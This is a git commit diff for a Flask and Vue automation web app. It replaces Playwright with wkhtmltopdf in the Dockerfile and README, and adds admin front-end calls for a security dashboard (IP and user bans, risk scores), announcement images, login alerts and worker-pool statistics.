feat: 添加安全模块 + Dockerfile添加curl支持健康检查

主要更新:
- 新增 security/ 安全模块 (风险评估、威胁检测、蜜罐等)
- Dockerfile 添加 curl 以支持 Docker 健康检查
- 前端页面更新 (管理后台、用户端)
- 数据库迁移和 schema 更新
- 新增 kdocs 上传服务
- 添加安全相关测试用例

Co-Authored-By: Claude <noreply@anthropic.com>

Dockerfile

@@ -1,14 +1,18 @@
 # 使用国内镜像源加速
-FROM mcr.microsoft.com/playwright/python:v1.40.0-jammy
+FROM python:3.10-slim-bullseye
 
 # 设置工作目录
 WORKDIR /app
 
 # 设置环境变量
 ENV PYTHONUNBUFFERED=1
-ENV PLAYWRIGHT_BROWSERS_PATH=/ms-playwright
 ENV TZ=Asia/Shanghai
 
+# 安装 wkhtmltopdf（包含 wkhtmltoimage）与中文字体
+RUN apt-get update && \
+    apt-get install -y --no-install-recommends wkhtmltopdf curl fonts-noto-cjk && \
+    rm -rf /var/lib/apt/lists/*
+
 # 配置 pip 使用国内镜像源
 RUN pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/ &&     pip config set install.trusted-host mirrors.aliyun.com
 
@@ -18,14 +22,15 @@ COPY requirements.txt .
 # 安装Python依赖
 RUN pip install --no-cache-dir -r requirements.txt
 
+# 安装 Playwright 浏览器依赖与 Chromium
+RUN python -m playwright install --with-deps chromium
+
 # 复制应用程序文件
 COPY app.py .
 COPY database.py .
 COPY db_pool.py .
-COPY playwright_automation.py .
 COPY api_browser.py .
 COPY browser_pool_worker.py .
-COPY browser_installer.py .
 COPY password_utils.py .
 COPY crypto_utils.py .
 COPY task_checkpoint.py .
@@ -39,6 +44,7 @@ COPY routes/ ./routes/
 COPY services/ ./services/
 COPY realtime/ ./realtime/
 COPY db/ ./db/
+COPY security/ ./security/
 
 COPY templates/ ./templates/
 COPY static/ ./static/

README.md

@@ -6,10 +6,10 @@
 
 ## 项目简介
 
-本项目是一个 **Docker 容器化应用**，使用 Flask + Playwright + SQLite 构建，提供：
+本项目是一个 **Docker 容器化应用**，使用 Flask + Requests + wkhtmltopdf + SQLite 构建，提供：
 
 - 多用户注册登录系统
-- 浏览器自动化任务
+- 自动化任务（HTTP 模拟）
 - 定时任务调度
 - 截图管理
 - VIP用户管理
@@ -22,7 +22,8 @@
 
 - **后端**: Python 3.8+, Flask
 - **数据库**: SQLite
-- **自动化**: Playwright (Chromium)
+- **自动化**: Requests + BeautifulSoup
+- **截图**: wkhtmltopdf / wkhtmltoimage
 - **容器化**: Docker + Docker Compose
 - **前端**: HTML + JavaScript + Socket.IO
 
@@ -39,10 +40,8 @@ zsglpt/
 ├── database.py                     # 数据库稳定门面（对外 API）
 ├── db/                             # DB 分域实现 + schema/migrations
 ├── db_pool.py                      # 数据库连接池
-├── playwright_automation.py        # Playwright 自动化
 ├── api_browser.py                  # Requests 自动化（主浏览流程）
-├── browser_pool_worker.py          # 截图 WorkerPool（浏览器复用）
-├── browser_installer.py            # 浏览器安装检查
+├── browser_pool_worker.py          # 截图 WorkerPool
 ├── app_config.py                   # 配置管理
 ├── app_logger.py                   # 日志系统
 ├── app_security.py                 # 安全模块
@@ -122,8 +121,8 @@ cd /www/wwwroot/zsgpt2
 ### 步骤4: 创建必要的目录
 
 ```bash
-mkdir -p data logs 截图 playwright
-chmod 777 data logs 截图 playwright
+mkdir -p data logs 截图
+chmod 777 data logs 截图
 ```
 
 ### 步骤5: 构建并启动Docker容器
@@ -447,19 +446,19 @@ docker-compose down
 docker-compose up -d
 ```
 
-### 5. 浏览器下载失败
+### 5. 截图工具未安装
 
-**问题**: Playwright浏览器下载失败
+**问题**: wkhtmltoimage 命令不存在
 
 **解决方案**:
 ```bash
 # 进入容器手动安装
 docker exec -it knowledge-automation-multiuser bash
-playwright install chromium
+apt-get update
+apt-get install -y wkhtmltopdf
 
-# 或使用国内镜像
-export PLAYWRIGHT_DOWNLOAD_HOST=https://npmmirror.com/mirrors/playwright/
-playwright install chromium
+# 验证安装
+wkhtmltoimage --version
 ```
 
 ---
@@ -631,7 +630,19 @@ docker logs knowledge-automation-multiuser | grep "数据库"
 |--------|------|--------|
 | TZ | 时区 | Asia/Shanghai |
 | PYTHONUNBUFFERED | Python输出缓冲 | 1 |
-| PLAYWRIGHT_BROWSERS_PATH | 浏览器路径 | /ms-playwright |
+| WKHTMLTOIMAGE_PATH | wkhtmltoimage 可执行文件路径 | 自动探测 |
+| WKHTMLTOIMAGE_JS_DELAY_MS | JS 等待时间（毫秒） | 3000 |
+| WKHTMLTOIMAGE_WIDTH | 截图宽度 | 1920 |
+| WKHTMLTOIMAGE_HEIGHT | 截图高度（视口高度） | 1080 |
+| WKHTMLTOIMAGE_FULL_PAGE | 是否输出全页截图（忽略视口高度/裁剪） | 0 |
+| WKHTMLTOIMAGE_ZOOM | 渲染缩放比例 | 1.0 |
+| WKHTMLTOIMAGE_CROP_WIDTH | 裁剪宽度（0 表示不裁剪） | 默认跟随截图宽度 |
+| WKHTMLTOIMAGE_CROP_HEIGHT | 裁剪高度（0 表示不裁剪） | 默认跟随截图高度 |
+| WKHTMLTOIMAGE_CROP_X | 裁剪起点 X | 0 |
+| WKHTMLTOIMAGE_CROP_Y | 裁剪起点 Y | 0 |
+| WKHTMLTOIMAGE_QUALITY | JPG截图质量 | 95 |
+| WKHTMLTOIMAGE_TIMEOUT_SECONDS | 截图超时时间（秒） | 60 |
+| WKHTMLTOIMAGE_USER_AGENT | 截图使用的 UA | Chrome 120 |
 
 ---
 
@@ -641,13 +652,13 @@ docker logs knowledge-automation-multiuser | grep "数据库"
 
 - **项目名称**: 知识管理平台自动化工具
 - **版本**: Docker 多用户版
-- **技术栈**: Python + Flask + Playwright + SQLite + Docker
+- **技术栈**: Python + Flask + Requests + wkhtmltopdf + SQLite + Docker
 
 ### 常用文档链接
 
 - [Docker 官方文档](https://docs.docker.com/)
 - [Flask 官方文档](https://flask.palletsprojects.com/)
-- [Playwright 官方文档](https://playwright.dev/python/)
+- [wkhtmltopdf 官方文档](https://wkhtmltopdf.org/)
 
 ### 故障排查
 
@@ -683,8 +694,8 @@ ssh root@your-ip
 
 # 3. 进入目录并创建必要目录
 cd /www/wwwroot/zsgpt2
-mkdir -p data logs 截图 playwright
-chmod 777 data logs 截图 playwright
+mkdir -p data logs 截图
+chmod 777 data logs 截图
 
 # 4. 启动容器
 docker-compose up -d

admin-frontend/src/api/announcements.js

@@ -10,6 +10,13 @@ export async function createAnnouncement(payload) {
   return data
 }
 
+export async function uploadAnnouncementImage(file) {
+  const formData = new FormData()
+  formData.append('file', file)
+  const { data } = await api.post('/announcements/upload_image', formData)
+  return data
+}
+
 export async function activateAnnouncement(id) {
   const { data } = await api.post(`/announcements/${id}/activate`)
   return data
@@ -24,4 +31,3 @@ export async function deleteAnnouncement(id) {
   const { data } = await api.delete(`/announcements/${id}`)
   return data
 }
-

admin-frontend/src/api/browser_pool.js

@@ -0,0 +1,7 @@
+import { api } from './client'
+
+export async function fetchBrowserPoolStats() {
+  const { data } = await api.get('/browser_pool/stats')
+  return data
+}
+

admin-frontend/src/api/kdocs.js

@@ -0,0 +1,17 @@
+import { api } from './client'
+
+export async function fetchKdocsStatus(params = {}) {
+  const { data } = await api.get('/kdocs/status', { params })
+  return data
+}
+
+export async function fetchKdocsQr(payload = {}) {
+  const body = { force: true, ...payload }
+  const { data } = await api.post('/kdocs/qr', body)
+  return data
+}
+
+export async function clearKdocsLogin() {
+  const { data } = await api.post('/kdocs/clear-login', {})
+  return data
+}

admin-frontend/src/api/security.js

@@ -0,0 +1,63 @@
+import { api } from './client'
+
+export async function getDashboard() {
+  const { data } = await api.get('/admin/security/dashboard')
+  return data
+}
+
+export async function getThreats(params) {
+  const { data } = await api.get('/admin/security/threats', { params })
+  return data
+}
+
+export async function getBannedIps() {
+  const { data } = await api.get('/admin/security/banned-ips')
+  return data
+}
+
+export async function getBannedUsers() {
+  const { data } = await api.get('/admin/security/banned-users')
+  return data
+}
+
+export async function banIp(payload) {
+  const { data } = await api.post('/admin/security/ban-ip', payload)
+  return data
+}
+
+export async function unbanIp(ip) {
+  const { data } = await api.post('/admin/security/unban-ip', { ip })
+  return data
+}
+
+export async function banUser(payload) {
+  const { data } = await api.post('/admin/security/ban-user', payload)
+  return data
+}
+
+export async function unbanUser(userId) {
+  const { data } = await api.post('/admin/security/unban-user', { user_id: userId })
+  return data
+}
+
+export async function getIpRisk(ip) {
+  const safeIp = encodeURIComponent(String(ip || '').trim())
+  const { data } = await api.get(`/admin/security/ip-risk/${safeIp}`)
+  return data
+}
+
+export async function clearIpRisk(ip) {
+  const { data } = await api.post('/admin/security/ip-risk/clear', { ip })
+  return data
+}
+
+export async function getUserRisk(userId) {
+  const safeUserId = encodeURIComponent(String(userId || '').trim())
+  const { data } = await api.get(`/admin/security/user-risk/${safeUserId}`)
+  return data
+}
+
+export async function cleanup() {
+  const { data } = await api.post('/admin/security/cleanup', {})
+  return data
+}

admin-frontend/src/layouts/AdminLayout.vue

@@ -7,6 +7,7 @@ import {
   ChatLineSquare,
   Document,
   List,
+  Lock,
   Message,
   Setting,
   Tools,
@@ -15,7 +16,6 @@ import {
 
 import { api } from '../api/client'
 import { fetchFeedbackStats } from '../api/feedbacks'
-import { fetchPasswordResets } from '../api/passwordResets'
 import { fetchSystemStats } from '../api/stats'
 
 const route = useRoute()
@@ -33,15 +33,11 @@ async function refreshStats() {
 }
 
 const loadingBadges = ref(false)
-const pendingResetsCount = ref(0)
 const pendingFeedbackCount = ref(0)
 let badgeTimer
 
 async function refreshNavBadges(partial = null) {
   if (partial && typeof partial === 'object') {
-    if (Object.prototype.hasOwnProperty.call(partial, 'pendingResets')) {
-      pendingResetsCount.value = Number(partial.pendingResets || 0)
-    }
     if (Object.prototype.hasOwnProperty.call(partial, 'pendingFeedbacks')) {
       pendingFeedbackCount.value = Number(partial.pendingFeedbacks || 0)
     }
@@ -52,18 +48,8 @@ async function refreshNavBadges(partial = null) {
   loadingBadges.value = true
 
   try {
-    const [resetsResult, feedbackResult] = await Promise.allSettled([
-      fetchPasswordResets(),
-      fetchFeedbackStats(),
-    ])
-
-    if (resetsResult.status === 'fulfilled') {
-      pendingResetsCount.value = Array.isArray(resetsResult.value) ? resetsResult.value.length : 0
-    }
-
-    if (feedbackResult.status === 'fulfilled') {
-      pendingFeedbackCount.value = Number(feedbackResult.value?.pending || 0)
-    }
+    const feedbackResult = await fetchFeedbackStats()
+    pendingFeedbackCount.value = Number(feedbackResult?.pending || 0)
   } finally {
     loadingBadges.value = false
   }
@@ -99,11 +85,12 @@ onBeforeUnmount(() => {
 
 const menuItems = [
   { path: '/reports', label: '报表', icon: Document },
-  { path: '/users', label: '用户', icon: User, badgeKey: 'resets' },
+  { path: '/users', label: '用户', icon: User },
   { path: '/feedbacks', label: '反馈', icon: ChatLineSquare, badgeKey: 'feedbacks' },
   { path: '/logs', label: '任务日志', icon: List },
   { path: '/announcements', label: '公告', icon: Bell },
   { path: '/email', label: '邮件', icon: Message },
+  { path: '/security', label: '安全防护', icon: Lock },
   { path: '/system', label: '系统配置', icon: Tools },
   { path: '/settings', label: '设置', icon: Setting },
 ]
@@ -112,7 +99,6 @@ const activeMenu = computed(() => route.path)
 
 function badgeFor(item) {
   if (!item?.badgeKey) return 0
-  if (item.badgeKey === 'resets') return Number(pendingResetsCount.value || 0)
   if (item.badgeKey === 'feedbacks') {
     return Number(pendingFeedbackCount.value || 0)
   }

admin-frontend/src/pages/AnnouncementsPage.vue

@@ -1,6 +1,7 @@
 <script setup>
-import { onMounted, ref } from 'vue'
+import { h, onMounted, ref } from 'vue'
 import { ElMessage, ElMessageBox } from 'element-plus'
+import { Plus } from '@element-plus/icons-vue'
 
 import {
   activateAnnouncement,
@@ -8,10 +9,14 @@ import {
   deactivateAnnouncement,
   deleteAnnouncement,
   fetchAnnouncements,
+  uploadAnnouncementImage,
 } from '../api/announcements'
 
 const formTitle = ref('')
 const formContent = ref('')
+const formImageUrl = ref('')
+const imageInputRef = ref(null)
+const uploading = ref(false)
 
 const loading = ref(false)
 const list = ref([])
@@ -30,18 +35,56 @@ async function load() {
 function clearForm() {
   formTitle.value = ''
   formContent.value = ''
+  formImageUrl.value = ''
+  if (imageInputRef.value) imageInputRef.value.value = ''
+}
+
+function openImagePicker() {
+  imageInputRef.value?.click()
+}
+
+function clearImage() {
+  formImageUrl.value = ''
+  if (imageInputRef.value) imageInputRef.value.value = ''
+}
+
+async function onImageFileChange(event) {
+  const file = event.target?.files?.[0]
+  if (!file) return
+  if (file.type && !file.type.startsWith('image/')) {
+    ElMessage.error('请选择图片文件')
+    event.target.value = ''
+    return
+  }
+
+  uploading.value = true
+  try {
+    const res = await uploadAnnouncementImage(file)
+    if (!res?.success || !res?.url) {
+      ElMessage.error(res?.error || '上传失败')
+      return
+    }
+    formImageUrl.value = res.url
+    ElMessage.success('上传成功')
+  } catch {
+    // handled by interceptor
+  } finally {
+    uploading.value = false
+    event.target.value = ''
+  }
 }
 
 async function submit(isActive) {
   const title = formTitle.value.trim()
   const content = formContent.value.trim()
+  const image_url = formImageUrl.value.trim()
   if (!title || !content) {
     ElMessage.error('标题和内容不能为空')
     return
   }
 
   try {
-    const res = await createAnnouncement({ title, content, is_active: Boolean(isActive) })
+    const res = await createAnnouncement({ title, content, image_url, is_active: Boolean(isActive) })
     if (!res?.success) {
       ElMessage.error(res?.error || '保存失败')
       return
@@ -55,7 +98,17 @@ async function submit(isActive) {
 }
 
 async function view(row) {
-  await ElMessageBox.alert(row.content || '', row.title || '公告', {
+  const body = h('div', { class: 'announcement-view' }, [
+    row.content ? h('div', { class: 'announcement-view-text' }, row.content) : null,
+    row.image_url
+      ? h('img', {
+          class: 'announcement-view-image',
+          src: row.image_url,
+          alt: '公告图片',
+        })
+      : null,
+  ])
+  await ElMessageBox.alert(body, row.title || '公告', {
     confirmButtonText: '关闭',
     dangerouslyUseHTMLString: false,
   })
@@ -162,8 +215,26 @@ onMounted(load)
             show-word-limit
           />
         </el-form-item>
+        <el-form-item label="公告图片">
+          <div class="image-upload-row">
+            <el-button :icon="Plus" :loading="uploading" @click="openImagePicker">上传图片</el-button>
+            <el-button v-if="formImageUrl" @click="clearImage">移除</el-button>
+            <span v-if="formImageUrl" class="image-url">{{ formImageUrl }}</span>
+            <input
+              ref="imageInputRef"
+              class="image-input"
+              type="file"
+              accept="image/*"
+              @change="onImageFileChange"
+            />
+          </div>
+        </el-form-item>
       </el-form>
 
+      <div v-if="formImageUrl" class="image-preview">
+        <img :src="formImageUrl" alt="公告图片预览" />
+      </div>
+
       <div class="actions">
         <el-button type="primary" @click="submit(true)">发布并启用</el-button>
         <el-button @click="submit(false)">保存但不启用</el-button>
@@ -193,6 +264,12 @@ onMounted(load)
               </el-tag>
             </template>
           </el-table-column>
+          <el-table-column label="图片" width="100">
+            <template #default="{ row }">
+              <el-tag v-if="row.image_url" type="success" effect="light">有图</el-tag>
+              <span v-else class="app-muted">-</span>
+            </template>
+          </el-table-column>
           <el-table-column prop="created_at" label="创建时间" width="180" />
           <el-table-column label="操作" width="260" fixed="right">
             <template #default="{ row }">
@@ -234,6 +311,57 @@ onMounted(load)
   color: var(--app-muted);
 }
 
+.image-preview {
+  margin: 6px 0 2px;
+  display: flex;
+  justify-content: flex-start;
+}
+
+.image-preview img {
+  max-width: 280px;
+  max-height: 160px;
+  border-radius: 8px;
+  border: 1px solid var(--app-border);
+  object-fit: contain;
+}
+
+.image-upload-row {
+  display: flex;
+  align-items: center;
+  gap: 10px;
+  flex-wrap: wrap;
+}
+
+.image-input {
+  display: none;
+}
+
+.image-url {
+  font-size: 12px;
+  color: var(--app-muted);
+  word-break: break-all;
+}
+
+.announcement-view {
+  display: flex;
+  flex-direction: column;
+  gap: 12px;
+}
+
+.announcement-view-text {
+  white-space: pre-wrap;
+  line-height: 1.6;
+  font-size: 14px;
+}
+
+.announcement-view-image {
+  max-width: 100%;
+  max-height: 320px;
+  border-radius: 10px;
+  border: 1px solid var(--app-border);
+  object-fit: contain;
+}
+
 .table-wrap {
   overflow-x: auto;
 }
@@ -252,4 +380,3 @@ onMounted(load)
   gap: 8px;
 }
 </style>
-

admin-frontend/src/pages/EmailPage.vue

@@ -21,6 +21,7 @@ const settings = reactive({
   enabled: false,
   failover_enabled: true,
   register_verify_enabled: false,
+  login_alert_enabled: true,
   task_notify_enabled: false,
   base_url: '',
   updated_at: null,
@@ -35,6 +36,7 @@ async function loadEmailSettings() {
     settings.enabled = Boolean(data.enabled)
     settings.failover_enabled = Boolean(data.failover_enabled)
     settings.register_verify_enabled = Boolean(data.register_verify_enabled)
+    settings.login_alert_enabled = data.login_alert_enabled === undefined ? true : Boolean(data.login_alert_enabled)
     settings.task_notify_enabled = Boolean(data.task_notify_enabled)
     settings.base_url = data.base_url || ''
     settings.updated_at = data.updated_at || null
@@ -53,6 +55,7 @@ async function saveEmailSettings() {
       enabled: settings.enabled,
       failover_enabled: settings.failover_enabled,
       register_verify_enabled: settings.register_verify_enabled,
+      login_alert_enabled: settings.login_alert_enabled,
       task_notify_enabled: settings.task_notify_enabled,
       base_url: (settings.base_url || '').trim(),
     })
@@ -597,6 +600,8 @@ onMounted(refreshAll)
             @change="scheduleSaveEmailSettings"
           />
         </el-form-item>
+
+        <el-divider content-position="left">通知设置</el-divider>
         <el-form-item label="启用任务完成通知">
           <el-switch
             v-model="settings.task_notify_enabled"
@@ -604,6 +609,14 @@ onMounted(refreshAll)
             @change="scheduleSaveEmailSettings"
           />
         </el-form-item>
+        <el-form-item label="新设备登录提醒">
+          <el-switch
+            v-model="settings.login_alert_enabled"
+            :disabled="emailSettingsSaving"
+            @change="scheduleSaveEmailSettings"
+          />
+          <div class="help">当检测到新设备或新IP登录时，发送邮件提醒用户</div>
+        </el-form-item>
         <el-form-item label="网站基础URL">
           <el-input
             v-model="settings.base_url"

admin-frontend/src/pages/ReportPage.vue

@@ -1,12 +1,11 @@
 <script setup>
-import { computed, inject, onMounted, ref } from 'vue'
+import { computed, inject, onMounted, onUnmounted, ref } from 'vue'
 import {
   Calendar,
   ChatLineSquare,
   Clock,
   Cpu,
   Key,
-  Lock,
   Loading,
   Message,
   Star,
@@ -18,16 +17,15 @@ import {
 
 import { fetchFeedbackStats } from '../api/feedbacks'
 import { fetchEmailStats } from '../api/email'
-import { fetchPasswordResets } from '../api/passwordResets'
 import { fetchDockerStats, fetchRunningTasks, fetchServerInfo, fetchTaskStats } from '../api/tasks'
+import { fetchBrowserPoolStats } from '../api/browser_pool'
 import { fetchSystemConfig } from '../api/system'
-import { fetchUpdateResult, fetchUpdateStatus } from '../api/update'
 
 const refreshStats = inject('refreshStats', null)
 const adminStats = inject('adminStats', null)
-const refreshNavBadges = inject('refreshNavBadges', null)
 
 const loading = ref(false)
+const refreshing = ref(false)
 const lastUpdatedAt = ref('')
 
 const taskStats = ref(null)
@@ -36,11 +34,8 @@ const emailStats = ref(null)
 const feedbackStats = ref(null)
 const serverInfo = ref(null)
 const dockerStats = ref(null)
+const browserPoolStats = ref(null)
 const systemConfig = ref(null)
-const updateStatus = ref(null)
-const updateStatusError = ref('')
-const updateResult = ref(null)
-const passwordResetsCount = ref(0)
 const queueTab = ref('running')
 
 function recordUpdatedAt() {
@@ -67,12 +62,6 @@ function parsePercent(value) {
   return n
 }
 
-function shortCommit(value) {
-  const text = String(value ?? '').trim()
-  if (!text) return '-'
-  return text.length > 12 ? `${text.slice(0, 12)}…` : text
-}
-
 function sourceLabel(source) {
   const raw = String(source ?? '').trim()
   if (!raw) return '手动'
@@ -101,7 +90,6 @@ const overviewCards = computed(() => {
       sub: liveMax ? `并发上限 ${liveMax}` : '',
     },
     { label: '排队任务', value: normalizeCount(runningTasks.value?.queuing_count), icon: Clock, tone: 'purple' },
-    { label: '密码重置待处理', value: normalizeCount(passwordResetsCount.value), icon: Lock, tone: 'red' },
   ]
 })
 
@@ -112,6 +100,40 @@ const queuingTaskList = computed(() => runningTasks.value?.queuing || [])
 const runningCount = computed(() => normalizeCount(runningTasks.value?.running_count))
 const queuingCount = computed(() => normalizeCount(runningTasks.value?.queuing_count))
 
+const browserPoolWorkers = computed(() => {
+  const workers = browserPoolStats.value?.workers
+  if (!Array.isArray(workers)) return []
+  return [...workers].sort((a, b) => normalizeCount(a?.worker_id) - normalizeCount(b?.worker_id))
+})
+
+const browserPoolTotalWorkers = computed(() => normalizeCount(browserPoolStats.value?.total_workers))
+const browserPoolActiveWorkers = computed(() => browserPoolWorkers.value.filter((w) => Boolean(w?.has_browser)).length)
+const browserPoolIdleWorkers = computed(() => normalizeCount(browserPoolStats.value?.idle_workers))
+const browserPoolQueueSize = computed(() => normalizeCount(browserPoolStats.value?.queue_size))
+const browserPoolBusyWorkers = computed(() => normalizeCount(browserPoolStats.value?.active_workers))
+
+function workerPoolStatusType(worker) {
+  if (!worker?.thread_alive) return 'danger'
+  if (worker?.has_browser) return 'success'
+  return 'info'
+}
+
+function workerPoolStatusLabel(worker) {
+  if (!worker?.thread_alive) return '异常'
+  if (worker?.has_browser) return '活跃'
+  return '空闲'
+}
+
+function workerRunTagType(worker) {
+  if (!worker?.thread_alive) return 'danger'
+  return worker?.idle ? 'info' : 'warning'
+}
+
+function workerRunLabel(worker) {
+  if (!worker?.thread_alive) return '停止'
+  return worker?.idle ? '空闲' : '忙碌'
+}
+
 const taskTodaySuccessRate = computed(() => {
   const success = normalizeCount(taskToday.value.success_tasks)
   const failed = normalizeCount(taskToday.value.failed_tasks)
@@ -160,71 +182,70 @@ const runningCountsLabel = computed(() => {
   return `运行中 ${runningCount} / 排队 ${queuingCount} / 并发上限 ${maxGlobal || maxConcurrentGlobal.value || '-'}`
 })
 
-const updateAvailable = computed(() => Boolean(updateStatus.value?.update_available))
-const updateRunning = computed(() => updateResult.value?.status === 'running')
-
-async function refreshAll() {
-  if (loading.value) return
+async function refreshAll(options = {}) {
+  const showLoading = options.showLoading ?? true
+  if (refreshing.value) return
+  refreshing.value = true
+  if (showLoading) {
     loading.value = true
+  }
   try {
     const [
       taskResult,
       runningResult,
       emailResult,
       feedbackResult,
-      resetsResult,
       serverResult,
       dockerResult,
+      browserPoolResult,
       configResult,
-      updateStatusResult,
-      updateResultResult,
     ] = await Promise.allSettled([
       fetchTaskStats(),
       fetchRunningTasks(),
       fetchEmailStats(),
       fetchFeedbackStats(),
-      fetchPasswordResets(),
       fetchServerInfo(),
       fetchDockerStats(),
+      fetchBrowserPoolStats(),
       fetchSystemConfig(),
-      fetchUpdateStatus(),
-      fetchUpdateResult(),
     ])
 
     taskStats.value = taskResult.status === 'fulfilled' ? taskResult.value : null
     runningTasks.value = runningResult.status === 'fulfilled' ? runningResult.value : null
     emailStats.value = emailResult.status === 'fulfilled' ? emailResult.value : null
     feedbackStats.value = feedbackResult.status === 'fulfilled' ? feedbackResult.value : null
-    passwordResetsCount.value = resetsResult.status === 'fulfilled' ? (Array.isArray(resetsResult.value) ? resetsResult.value.length : 0) : 0
     serverInfo.value = serverResult.status === 'fulfilled' ? serverResult.value : null
     dockerStats.value = dockerResult.status === 'fulfilled' ? dockerResult.value : null
+    browserPoolStats.value = browserPoolResult.status === 'fulfilled' ? browserPoolResult.value : null
     systemConfig.value = configResult.status === 'fulfilled' ? configResult.value : null
 
-    if (updateStatusResult.status === 'fulfilled') {
-      const res = updateStatusResult.value
-      if (res?.ok) {
-        updateStatus.value = res.data || null
-        updateStatusError.value = ''
-      } else {
-        updateStatus.value = null
-        updateStatusError.value = res?.error || '未发现更新状态（Update-Agent 可能未运行）'
-      }
-    } else {
-      updateStatus.value = null
-      updateStatusError.value = ''
-    }
-
-    updateResult.value = updateResultResult.status === 'fulfilled' && updateResultResult.value?.ok ? updateResultResult.value.data : null
-
-    await refreshNavBadges?.({ pendingResets: passwordResetsCount.value })
     await refreshStats?.()
     recordUpdatedAt()
   } finally {
+    refreshing.value = false
+    if (showLoading) {
       loading.value = false
     }
   }
+}
 
-onMounted(refreshAll)
+let refreshTimer = null
+
+function manualRefresh() {
+  return refreshAll({ showLoading: true })
+}
+
+onMounted(() => {
+  refreshAll({ showLoading: false })
+  refreshTimer = setInterval(() => refreshAll({ showLoading: false }), 1000)
+})
+
+onUnmounted(() => {
+  if (refreshTimer) {
+    clearInterval(refreshTimer)
+    refreshTimer = null
+  }
+})
 </script>
 
 <template>
@@ -234,10 +255,6 @@ onMounted(refreshAll)
         <div class="hero-title">
           <div class="hero-title-row">
             <h2>报表中心</h2>
-            <el-tag v-if="updateStatusError" type="info" effect="dark">更新状态未知</el-tag>
-            <el-tag v-else-if="updateAvailable" type="warning" effect="dark">新版本可更新</el-tag>
-            <el-tag v-else type="success" effect="dark">已是最新</el-tag>
-            <el-tag v-if="updateRunning" type="warning" effect="plain">更新中</el-tag>
           </div>
           <div class="hero-meta app-muted">
             <span v-if="lastUpdatedAt">更新时间：{{ lastUpdatedAt }}</span>
@@ -247,7 +264,7 @@ onMounted(refreshAll)
         </div>
 
         <div class="hero-actions">
-          <el-button type="primary" plain :loading="loading" @click="refreshAll">刷新</el-button>
+          <el-button type="primary" plain :loading="loading" @click="manualRefresh">刷新</el-button>
         </div>
       </div>
 
@@ -582,6 +599,67 @@ onMounted(refreshAll)
             <el-descriptions-item label="内存">{{ dockerStats?.memory_usage || '-' }}</el-descriptions-item>
             <el-descriptions-item label="内存占比">{{ dockerStats?.memory_percent || '-' }}</el-descriptions-item>
           </el-descriptions>
+
+          <div class="divider"></div>
+
+          <div class="panel-head">
+            <div class="head-left">
+              <div class="head-text">
+                <div class="panel-title">截图线程池</div>
+                <div class="panel-sub app-muted">
+                  活跃（有执行环境）{{ browserPoolActiveWorkers }} · 忙碌 {{ browserPoolBusyWorkers }} · 队列 {{ browserPoolQueueSize }}
+                </div>
+              </div>
+            </div>
+            <el-tag v-if="browserPoolStats?.server_time_cst" effect="light" type="info">{{ browserPoolStats.server_time_cst }}</el-tag>
+          </div>
+
+          <div class="tile-grid tile-grid--4">
+            <div class="tile">
+              <div class="tile-v">{{ browserPoolTotalWorkers }}</div>
+              <div class="tile-k app-muted">总 Worker</div>
+            </div>
+            <div class="tile">
+              <div class="tile-v ok">{{ browserPoolActiveWorkers }}</div>
+              <div class="tile-k app-muted">活跃（有执行环境）</div>
+            </div>
+            <div class="tile">
+              <div class="tile-v">{{ browserPoolIdleWorkers }}</div>
+              <div class="tile-k app-muted">空闲（无任务）</div>
+            </div>
+            <div class="tile">
+              <div class="tile-v warn">{{ browserPoolQueueSize }}</div>
+              <div class="tile-k app-muted">队列等待</div>
+            </div>
+          </div>
+
+          <div class="divider"></div>
+
+          <div class="table-wrap">
+            <el-table :data="browserPoolWorkers" size="small" border>
+              <el-table-column prop="worker_id" label="Worker" width="90" />
+              <el-table-column label="状态" width="90">
+                <template #default="{ row }">
+                  <el-tag :type="workerPoolStatusType(row)" effect="light">{{ workerPoolStatusLabel(row) }}</el-tag>
+                </template>
+              </el-table-column>
+              <el-table-column label="执行" width="90">
+                <template #default="{ row }">
+                  <el-tag :type="workerRunTagType(row)" effect="light">{{ workerRunLabel(row) }}</el-tag>
+                </template>
+              </el-table-column>
+              <el-table-column label="任务" width="120">
+                <template #default="{ row }">
+                  <span>{{ normalizeCount(row?.total_tasks) }}</span>
+                  <span class="app-muted"> / </span>
+                  <span :class="normalizeCount(row?.failed_tasks) ? 'err' : 'app-muted'">{{ normalizeCount(row?.failed_tasks) }}</span>
+                </template>
+              </el-table-column>
+              <el-table-column prop="browser_use_count" label="复用" width="90" />
+              <el-table-column prop="last_active_at" label="最近活跃" min-width="160" />
+              <el-table-column prop="browser_created_at" label="环境创建" min-width="160" />
+            </el-table>
+          </div>
         </el-card>
       </el-col>
 
@@ -593,21 +671,12 @@ onMounted(refreshAll)
                 <el-icon><Tools /></el-icon>
               </div>
               <div class="head-text">
-                <div class="panel-title">配置与更新</div>
-                <div class="panel-sub app-muted">定时/代理/并发与版本</div>
+                <div class="panel-title">配置概览</div>
+                <div class="panel-sub app-muted">定时 / 代理 / 并发</div>
               </div>
             </div>
-            <el-tag v-if="updateAvailable" effect="dark" type="warning">可更新</el-tag>
           </div>
 
-          <el-alert
-            v-if="updateStatusError"
-            type="info"
-            :closable="false"
-            :title="updateStatusError"
-            style="margin-bottom: 12px"
-          />
-
           <div class="config-grid">
             <div class="config-item">
               <div class="config-k app-muted">定时任务</div>
@@ -640,18 +709,6 @@ onMounted(refreshAll)
               </div>
             </div>
           </div>
-
-          <div class="divider"></div>
-
-          <div class="sub-title">版本信息</div>
-          <el-descriptions border :column="1" size="small">
-            <el-descriptions-item label="本地版本(commit)">{{ shortCommit(updateStatus?.local_commit) }}</el-descriptions-item>
-            <el-descriptions-item label="远端版本(commit)">{{ shortCommit(updateStatus?.remote_commit) }}</el-descriptions-item>
-            <el-descriptions-item label="最近检查时间">{{ updateStatus?.checked_at || '-' }}</el-descriptions-item>
-            <el-descriptions-item v-if="updateResult?.job_id" label="最近更新">
-              <span>job {{ updateResult.job_id }} / {{ updateResult?.status || '-' }}</span>
-            </el-descriptions-item>
-          </el-descriptions>
         </el-card>
       </el-col>
     </el-row>
@@ -956,6 +1013,10 @@ onMounted(refreshAll)
   grid-template-columns: repeat(3, minmax(0, 1fr));
 }
 
+.tile-grid--4 {
+  grid-template-columns: repeat(4, minmax(0, 1fr));
+}
+
 .tile {
   border: 1px solid rgba(17, 24, 39, 0.08);
   border-radius: 16px;
@@ -1127,6 +1188,10 @@ onMounted(refreshAll)
     grid-template-columns: repeat(2, minmax(0, 1fr));
   }
 
+  .tile-grid--4 {
+    grid-template-columns: repeat(2, minmax(0, 1fr));
+  }
+
   .resource-grid {
     grid-template-columns: 1fr;
   }

admin-frontend/src/pages/SecurityPage.vue

